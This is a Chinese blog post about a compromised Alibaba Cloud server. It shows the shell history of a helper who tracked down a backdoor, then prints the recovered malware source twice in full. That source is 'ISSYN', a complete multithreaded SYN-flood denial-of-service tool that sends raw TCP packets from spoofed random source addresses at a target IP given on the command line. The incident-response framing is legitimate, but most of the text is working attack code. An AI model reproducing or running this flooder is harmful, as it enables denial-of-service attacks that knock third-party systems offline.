我的阿里云主机受到了攻击,并且安装了后门
可以看看我前几天的博客:
解决阿里云主机收到攻击的问题:http://hw1287789687.iteye.com/blog/2269666
解决阿里云主机受到攻击的问题 2:http://hw1287789687.iteye.com/blog/2269701
但是还是没有完全搞定.
在绝望之际,想到了他,linux高手,酷爱linux,于是请他帮忙
分分钟就找到了病灶,并且麻利地捣毁了病灶.
- [root@tti3rxdZ ~]# w
- 19:07:22 up 58 min, 2 users, load average: 0.00, 0.02, 0.00
- USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
- root pts/0 130.206.40.26 18:49 10.00s 0.07s 0.07s -bash
- root pts/1 64.205.63.4 19:07 0.00s 0.00s 0.00s w
下面是他的历史操作:
- top
- free -m
- pstree
- top -h
- top java
- who
- login
- w
- ss
- ss -tnlp
- hostname
- ss -nlp
- ls /
- cd /
- cat s.c
- ls
- ls home/huang/
- vim sync.c
- cd /
- ls
- vim syn.c
- ls
- ls -l
- pstree
- ss
- vim s.c
- rm s.c syn.c
- ls
- rm CxxxController2.class
- ls
- find . -name "*.class"
- top
- ps aux | grep java
- ps aux | grep java | wc -l
- ps aux
- ls
- cd tmp/
- ls
- file moni.lod
- cat moni.lod
- cat gates.lod
- cd ..
- ls
- pstree
- pstree.x11
- which gshelld
- uname -a
- yum -h
- yum info -h
- rpm -h
- rpm --help
- which gshelld
- rpm -qf /usr/sbin/gshelld
- objdump -d /usr/sbin/gshelld
- readelf -d /usr/sbin/gshelld
- rpm -qf /usr/sbin/gshelld
- file /usr/sbin/gshelld
- stat /usr/sbin/gshelld
- pstree
- which getty
- which AliHids
- which ntpd
- rpm -qf /usr/sbin/ntpd
- which mingetty
- rpm -qf /sbin/mingetty
- cd /usr/sbin/
- ls -l gshelld
- ls -l
终于找到了flood文件(肉鸡的病根),见附件
s.c:
- // Improved SSYN Script - random ports, random flags. by SPAI3N.
- #include <pthread.h>
- #include <unistd.h>
- #include <stdio.h>
- #include <stdlib.h>
- #include <string.h>
- #include <sys/socket.h>
- #include <netinet/ip.h>
- #include <netinet/tcp.h>
- #include <time.h>
- #define MAX_PACKET_SIZE 4096
- #define PHI 0x9e3779b9
- static unsigned long int Q[4096], c = 362436;
- volatile int limiter;
- volatile unsigned int pps;
- volatile unsigned int sleeptime = 100;
- void init_rand(unsigned long int x)
- {
- int i;
- Q[0] = x;
- Q[1] = x + PHI;
- Q[2] = x + PHI + PHI;
- for (i = 3; i < 4096; i++){ Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i; }
- }
- unsigned long int rand_cmwc(void)
- {
- unsigned long long int t, a = 18782LL;
- static unsigned long int i = 4095;
- unsigned long int x, r = 0xfffffffe;
- i = (i + 1) & 4095;
- t = a * Q[i] + c;
- c = (t >> 32);
- x = t + c;
- if (x < c) {
- x++;
- c++;
- }
- return (Q[i] = r - x);
- }
- unsigned short csum (unsigned short *buf, int count)
- {
- register unsigned long sum = 0;
- while( count > 1 ) { sum += *buf++; count -= 2; }
- if(count > 0) { sum += *(unsigned char *)buf; }
- while (sum>>16) { sum = (sum & 0xffff) + (sum >> 16); }
- return (unsigned short)(~sum);
- }
- unsigned short tcpcsum(struct iphdr *iph, struct tcphdr *tcph) {
- struct tcp_pseudo
- {
- unsigned long src_addr;
- unsigned long dst_addr;
- unsigned char zero;
- unsigned char proto;
- unsigned short length;
- } pseudohead;
- unsigned short total_len = iph->tot_len;
- pseudohead.src_addr=iph->saddr;
- pseudohead.dst_addr=iph->daddr;
- pseudohead.zero=0;
- pseudohead.proto=IPPROTO_TCP;
- pseudohead.length=htons(sizeof(struct tcphdr));
- int totaltcp_len = sizeof(struct tcp_pseudo) + sizeof(struct tcphdr);
- unsigned short *tcp = malloc(totaltcp_len);
- memcpy((unsigned char *)tcp,&pseudohead,sizeof(struct tcp_pseudo));
- memcpy((unsigned char *)tcp+sizeof(struct tcp_pseudo),(unsigned char *)tcph,sizeof(struct tcphdr));
- unsigned short output = csum(tcp,totaltcp_len);
- free(tcp);
- return output;
- }
- void setup_ip_header(struct iphdr *iph)
- {
- char ip[17];
- snprintf(ip, sizeof(ip)-1, "%d.%d.%d.%d", rand()%255, rand()%255, rand()%255, rand()%255);
- iph->ihl = 5;
- iph->version = 4;
- iph->tos = 0;
- iph->tot_len = sizeof(struct iphdr) + sizeof(struct tcphdr);
- iph->id = htonl(rand()%54321);
- iph->frag_off = 0;
- iph->ttl = MAXTTL;
- iph->protocol = 6;
- iph->check = 0;
- iph->saddr = inet_addr(ip);
- }
- void setup_tcp_header(struct tcphdr *tcph)
- {
- tcph->source = htons(rand()%65535);
- tcph->seq = rand();
- tcph->ack_seq = 0;
- tcph->res1 = 0;
- tcph->res2 = 0;
- tcph->doff = 5;
- tcph->psh = 0;
- tcph->syn = 1;
- tcph->window = htons(65535);
- tcph->check = 0;
- tcph->urg_ptr = 0;
- }
- void *flood(void *par1)
- {
- char *td = (char *)par1;
- char datagram[MAX_PACKET_SIZE];
- struct iphdr *iph = (struct iphdr *)datagram;
- struct tcphdr *tcph = (void *)iph + sizeof(struct iphdr);
- struct sockaddr_in sin;
- sin.sin_family = AF_INET;
- sin.sin_port = htons(rand()%54321);
- sin.sin_addr.s_addr = inet_addr(td);
- int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);
- if(s < 0){
- fprintf(stderr, "Could not open raw socket.\n");
- exit(-1);
- }
- memset(datagram, 0, MAX_PACKET_SIZE);
- setup_ip_header(iph);
- setup_tcp_header(tcph);
- tcph->dest = htons(rand()%54321);
- iph->daddr = sin.sin_addr.s_addr;
- iph->check = csum ((unsigned short *) datagram, iph->tot_len);
- int tmp = 1;
- const int *val = &tmp;
- if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) < 0){
- fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!\n");
- exit(-1);
- }
- init_rand(time(NULL));
- register unsigned int i;
- i = 0;
- int psh = 0;
- int res1 = 0;
- int res2 = 0;
- while(1)
- {
- if(psh > 1) psh = 1;
- if(res1 > 4) res1 = 0;
- if(res2 > 3) res2 = 0;
- sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
- setup_ip_header(iph);
- setup_tcp_header(tcph);
- iph->saddr = (rand_cmwc() >> 24 & 0xFF) << 24 | (rand_cmwc() >> 16 & 0xFF) << 16 | (rand_cmwc() >> 8 & 0xFF) << 8 | (rand_cmwc() & 0xFF);
- iph->id = htonl(rand_cmwc() & 0xFFFFFFFF);
- tcph->dest = htons(rand()%65535);
- iph->daddr = sin.sin_addr.s_addr;
- iph->check = csum ((unsigned short *) datagram, iph->tot_len);
- tcph->seq = rand_cmwc() & 0xFFFF;
- tcph->source = htons(rand_cmwc() & 0xFFFF);
- tcph->ack_seq = 1;
- tcph->psh = psh;
- tcph->res1 = res1;
- tcph->res2 = res2;
- tcph->check = 0;
- tcph->check = tcpcsum(iph, tcph);
- pps++;
- psh++;
- res1++;
- res2++;
- if(i >= limiter)
- {
- i = 0;
- usleep(sleeptime);
- }
- i++;
- }
- }
- int main(int argc, char *argv[ ])
- {
- if(argc < 5){
- fprintf(stdout, "ISSYN v1.0 - Improved by Spai3N\nInvalid parameters!\nUsage: %s <target IP> <number threads to use> <pps limiter, -1 for no limit> <time>\n", argv[0]);
- exit(-1);
- }
- srand(time(0));
- int num_threads = atoi(argv[2]);
- int maxpps = atoi(argv[3]);
- limiter = 0;
- pps = 0;
- pthread_t thread[num_threads];
- int multiplier = 20;
- int i;
- fprintf(stderr, "Start flooding ...\n", argv[1]);
- for(i = 0;i<num_threads;i++){
- pthread_create( &thread[i], NULL, &flood, (void *)argv[1]);
- }
- fprintf(stderr, "Flooding: %s\n", argv[1]);
- for(i = 0;i<(atoi(argv[4])*multiplier);i++)
- {
- usleep((1000/multiplier)*1000);
- if((pps*multiplier) > maxpps)
- {
- if(1 > limiter)
- {
- sleeptime+=100;
- } else {
- limiter--;
- }
- } else {
- limiter++;
- if(sleeptime > 25)
- {
- sleeptime-=25;
- } else {
- sleeptime = 0;
- }
- }
- pps = 0;
- }
- return 0;
- }
syn.c:
- // Improved SSYN Script - random ports, random flags. by SPAI3N.
- #include <pthread.h>
- #include <unistd.h>
- #include <stdio.h>
- #include <stdlib.h>
- #include <string.h>
- #include <sys/socket.h>
- #include <netinet/ip.h>
- #include <netinet/tcp.h>
- #include <time.h>
- #define MAX_PACKET_SIZE 4096
- #define PHI 0x9e3779b9
- static unsigned long int Q[4096], c = 362436;
- volatile int limiter;
- volatile unsigned int pps;
- volatile unsigned int sleeptime = 100;
- void init_rand(unsigned long int x)
- {
- int i;
- Q[0] = x;
- Q[1] = x + PHI;
- Q[2] = x + PHI + PHI;
- for (i = 3; i < 4096; i++){ Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i; }
- }
- unsigned long int rand_cmwc(void)
- {
- unsigned long long int t, a = 18782LL;
- static unsigned long int i = 4095;
- unsigned long int x, r = 0xfffffffe;
- i = (i + 1) & 4095;
- t = a * Q[i] + c;
- c = (t >> 32);
- x = t + c;
- if (x < c) {
- x++;
- c++;
- }
- return (Q[i] = r - x);
- }
- unsigned short csum (unsigned short *buf, int count)
- {
- register unsigned long sum = 0;
- while( count > 1 ) { sum += *buf++; count -= 2; }
- if(count > 0) { sum += *(unsigned char *)buf; }
- while (sum>>16) { sum = (sum & 0xffff) + (sum >> 16); }
- return (unsigned short)(~sum);
- }
- unsigned short tcpcsum(struct iphdr *iph, struct tcphdr *tcph) {
- struct tcp_pseudo
- {
- unsigned long src_addr;
- unsigned long dst_addr;
- unsigned char zero;
- unsigned char proto;
- unsigned short length;
- } pseudohead;
- unsigned short total_len = iph->tot_len;
- pseudohead.src_addr=iph->saddr;
- pseudohead.dst_addr=iph->daddr;
- pseudohead.zero=0;
- pseudohead.proto=IPPROTO_TCP;
- pseudohead.length=htons(sizeof(struct tcphdr));
- int totaltcp_len = sizeof(struct tcp_pseudo) + sizeof(struct tcphdr);
- unsigned short *tcp = malloc(totaltcp_len);
- memcpy((unsigned char *)tcp,&pseudohead,sizeof(struct tcp_pseudo));
- memcpy((unsigned char *)tcp+sizeof(struct tcp_pseudo),(unsigned char *)tcph,sizeof(struct tcphdr));
- unsigned short output = csum(tcp,totaltcp_len);
- free(tcp);
- return output;
- }
- void setup_ip_header(struct iphdr *iph)
- {
- char ip[17];
- snprintf(ip, sizeof(ip)-1, "%d.%d.%d.%d", rand()%255, rand()%255, rand()%255, rand()%255);
- iph->ihl = 5;
- iph->version = 4;
- iph->tos = 0;
- iph->tot_len = sizeof(struct iphdr) + sizeof(struct tcphdr);
- iph->id = htonl(rand()%54321);
- iph->frag_off = 0;
- iph->ttl = MAXTTL;
- iph->protocol = 6;
- iph->check = 0;
- iph->saddr = inet_addr(ip);
- }
- void setup_tcp_header(struct tcphdr *tcph)
- {
- tcph->source = htons(rand()%65535);
- tcph->seq = rand();
- tcph->ack_seq = 0;
- tcph->res1 = 0;
- tcph->res2 = 0;
- tcph->doff = 5;
- tcph->psh = 0;
- tcph->syn = 1;
- tcph->window = htons(65535);
- tcph->check = 0;
- tcph->urg_ptr = 0;
- }
- void *flood(void *par1)
- {
- char *td = (char *)par1;
- char datagram[MAX_PACKET_SIZE];
- struct iphdr *iph = (struct iphdr *)datagram;
- struct tcphdr *tcph = (void *)iph + sizeof(struct iphdr);
- struct sockaddr_in sin;
- sin.sin_family = AF_INET;
- sin.sin_port = htons(rand()%54321);
- sin.sin_addr.s_addr = inet_addr(td);
- int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);
- if(s < 0){
- fprintf(stderr, "Could not open raw socket.\n");
- exit(-1);
- }
- memset(datagram, 0, MAX_PACKET_SIZE);
- setup_ip_header(iph);
- setup_tcp_header(tcph);
- tcph->dest = htons(rand()%54321);
- iph->daddr = sin.sin_addr.s_addr;
- iph->check = csum ((unsigned short *) datagram, iph->tot_len);
- int tmp = 1;
- const int *val = &tmp;
- if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) < 0){
- fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!\n");
- exit(-1);
- }
- init_rand(time(NULL));
- register unsigned int i;
- i = 0;
- int psh = 0;
- int res1 = 0;
- int res2 = 0;
- while(1)
- {
- if(psh > 1) psh = 1;
- if(res1 > 4) res1 = 0;
- if(res2 > 3) res2 = 0;
- sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
- setup_ip_header(iph);
- setup_tcp_header(tcph);
- iph->saddr = (rand_cmwc() >> 24 & 0xFF) << 24 | (rand_cmwc() >> 16 & 0xFF) << 16 | (rand_cmwc() >> 8 & 0xFF) << 8 | (rand_cmwc() & 0xFF);
- iph->id = htonl(rand_cmwc() & 0xFFFFFFFF);
- tcph->dest = htons(rand()%65535);
- iph->daddr = sin.sin_addr.s_addr;
- iph->check = csum ((unsigned short *) datagram, iph->tot_len);
- tcph->seq = rand_cmwc() & 0xFFFF;
- tcph->source = htons(rand_cmwc() & 0xFFFF);
- tcph->ack_seq = 1;
- tcph->psh = psh;
- tcph->res1 = res1;
- tcph->res2 = res2;
- tcph->check = 0;
- tcph->check = tcpcsum(iph, tcph);
- pps++;
- psh++;
- res1++;
- res2++;
- if(i >= limiter)
- {
- i = 0;
- usleep(sleeptime);
- }
- i++;
- }
- }
- int main(int argc, char *argv[ ])
- {
- if(argc < 5){
- fprintf(stdout, "ISSYN v1.0 - Improved by Spai3N\nInvalid parameters!\nUsage: %s <target IP> <number threads to use> <pps limiter, -1 for no limit> <time>\n", argv[0]);
- exit(-1);
- }
- srand(time(0));
- int num_threads = atoi(argv[2]);
- int maxpps = atoi(argv[3]);
- limiter = 0;
- pps = 0;
- pthread_t thread[num_threads];
- int multiplier = 20;
- int i;
- fprintf(stderr, "Start flooding ...\n", argv[1]);
- for(i = 0;i<num_threads;i++){
- pthread_create( &thread[i], NULL, &flood, (void *)argv[1]);
- }
- fprintf(stderr, "Flooding: %s\n", argv[1]);
- for(i = 0;i<(atoi(argv[4])*multiplier);i++)
- {
- usleep((1000/multiplier)*1000);
- if((pps*multiplier) > maxpps)
- {
- if(1 > limiter)
- {
- sleeptime+=100;
- } else {
- limiter--;
- }
- } else {
- limiter++;
- if(sleeptime > 25)
- {
- sleeptime-=25;
- } else {
- sleeptime = 0;
- }
- }
- pps = 0;
- }
- return 0;
- }